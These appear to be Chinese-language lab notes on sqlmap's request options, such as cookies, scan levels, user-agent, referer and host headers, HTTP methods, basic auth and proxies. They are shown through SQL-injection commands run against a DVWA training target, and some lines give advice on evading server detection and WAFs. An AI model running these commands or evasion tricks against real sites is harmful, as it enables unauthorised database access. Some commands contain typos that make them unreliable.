Sqlmap自动注入--REQEST
数据段: --data
sqlmap.py -u ”192.168.1.101/mullitea/login.php" --data="username&passwd=2" --dbs
data后面数据在网络的参数里面粘贴源代码
变量分割符: --param-del
cookie头
如果你想用sqlmap扫描一个需要登陆验证的页面进行扫描
cookie是你登录的cookie信息
>sqlmap.py -u "http://127.0.0.1/dwva/vulnerabilities/sqli/?id=d&Submit=Submit#" --cookie="PHPSESSID=8cft2h1m6ri2v4go1d6g1nt7g0;security=low;XUcP_2132_lastvisit=1555911335;XUcP_2132_nofavfid=1;XUcP_2132_saltkey=k0Z9sSEf;XUcP_2132_smile=1D1;XUcP_2132_ulastactivity=64675Qsl+gACXAVJLm+NXJf66kk7vkgfSU1eQD5E2Y5g+8stkEPY" --dbs
由于这里我们已经发现id存在注入所以我们就不找其他的了
利用:web应用需要基于cookie的身份认证
cookie(2)
还可以自动检查cookie中的注入点
在运行过程中服务端可能给客户端新的cookie值 sqlmap这里会自动更新 会停下来提示我们产生了新的cookie 会问我们使用旧的cookie还是使用新的cookie
检查cookie中的注入点的时候 sqlmap默认的leve是=1 这是sqlmap是不会扫描的 至少要level 2
C:\Python27\sqlmap>sqlmap.py -u "http://127.0.0.1/dwva/vulnerabilities/sqli/?id=d&Submit=Submit#" --cookie="PHPSESSID=8cft2h1m6ri2v4go1d6g1nt7g0;security=low;XUcP_2132_lastvisit=1555911335;XUcP_2132_nofavfid=1;XUcP_2132_saltkey=k0Z9sSEf;XUcP_2132_smile=1D1;XUcP_2132_ulastactivity=64675Qsl+gACXAVJLm+NXJf66kk7vkgfSU1eQD5E2Y5g+8stkEPY" --dbs --level 2
--uesr-agent
--random-agent
这里我们来进行演示
先打开wireshark进行过滤掉其他的扎包 只看192.168.1.101的包
发包之后就会看见我们在一直向101发包
随便找一个对话流
看见这里user-agent是sqlmap
这样对于服务器端很容易发现你是sqlmap 扫描的 这时候服务器端开启过滤你就很难成功扫描了
这时候我们就得想办法绕过
cat /usr/share/sqlmap/txt/user-agents.txt
看见里面有大量的浏览器的agent信息
那么下面我们就来使用这个random
--random-agent
在用wireshak看user-agent就是不一样了
我们还可以自己设定--user-agent=“”
都是跟在命令行最后面这些命令
当扫描的level>=3的时候才会去尝试探测user-agent头是否存在sql 注入漏洞
sqlmap -u "http://192.168.1.101/dwva/vulnerabilities/sqli/?id=d&Submit=Submit#" --cookie="PHPSESSID=8cft2h1m6ri2v4go1d6g1nt7g0;security=low;XUcP_2132_lastvisit=1555911335;XUcP_2132_nofavfid=1;XUcP_2132_saltkey=k0Z9sSEf;XUcP_2132_smile=1D1;XUcP_2132_ulastactivity=64675Qsl+gACXAVJLm+NXJf66kk7vkgfSU1eQD5E2Y5g+8stkEPY" --dbs --random-agent
host头里面存在sql注入漏洞 level》=5.
sqlmap -u "http://192.168.1.101/dwva/vulnerabilities/sqli/?id=d&Submit=Submit#" --cookie="PHPSESSID=8cft2h1m6ri2v4go1d6g1nt7g0;security=low;XUcP_2132_lastvisit=1555911335;XUcP_2132_nofavfid=1;XUcP_2132_saltkey=k0Z9sSEf;XUcP_2132_smile=1D1;XUcP_2132_ulastactivity=64675Qsl+gACXAVJLm+NXJf66kk7vkgfSU1eQD5E2Y5g+8stkEPY" --dbs --random-agent
referer头
--referer=
sqlmap -u "http://192.168.1.101/dwva/vulnerabilities/sqli/?id=d&Submit=Submit#" --cookie="PHPSESSID=8cft2h1m6ri2v4go1d6g1nt7g0;security=low;XUcP_2132_lastvisit=1555911335;XUcP_2132_nofavfid=1;XUcP_2132_saltkey=k0Z9sSEf;XUcP_2132_smile=1D1;XUcP_2132_ulastactivity=64675Qsl+gACXAVJLm+NXJf66kk7vkgfSU1eQD5E2Y5g+8stkEPY" --dbs --referer="aaa" level 3
header --header
每个头单独一行 (名称区分大小写)
1 sqlmap -u "http://192.168.1.101/dwva/vulnerabilities/sqli/?id=d&Submit=Submit#" --
cookie="PHPSESSID=8cft2h1m6ri2v4go1d6g1nt7g0;security=low;XUcP_2132_lastvisit=1555911335;XUcP_2132_nofavfid=1;XUcP_2132_saltkey=k0Z9sSEf;XUcP_2132_smile=1D1;XUcP_2132_ulastactivity=64675Qsl+gACXAVJLm+NXJf66kk7vkgfSU1eQD5E2Y5g+8stkEPY" --headers="Host:www.abc.com\nUser-Agent:bbbbbb" -f
这里我们用wireshark再次抓包 看见host变成了www.abc.com useragent变成了bbbb
\n是换行符号
method --method=POST/GET
目标服务器设置了指定方法这里可以直接指定 以免出发WAF
基于HTTP的身份认证
有些网页是基于表单的身份认证basic是基本的身份认证
sqlmap -u “xxx” --auth-type Basic --auth-cred "user:pass"
https(代理)(进行扫描时防止被目标服务器发现 然后给你屏蔽掉)这种结果很不理想
--proxy="http(s)://127.0.0.1:8087"(如果代理需要身份认证 后面加上下面一行)
sqlmap -u "https://xxxxx" --proxy='http://127.0.0.1:8087'
注意后面的事单引号
--ignore-proxy 忽略系统代理设置,通常用于扫描本地网络目标
如果你的操作系统层面设置了代理 但是你要扫描的是你的本地扫描的一个代理 就不能扫描了 所以遇到这种情况 我们就忽略代理设置 来进行扫描
--proxy-cred="name:pass"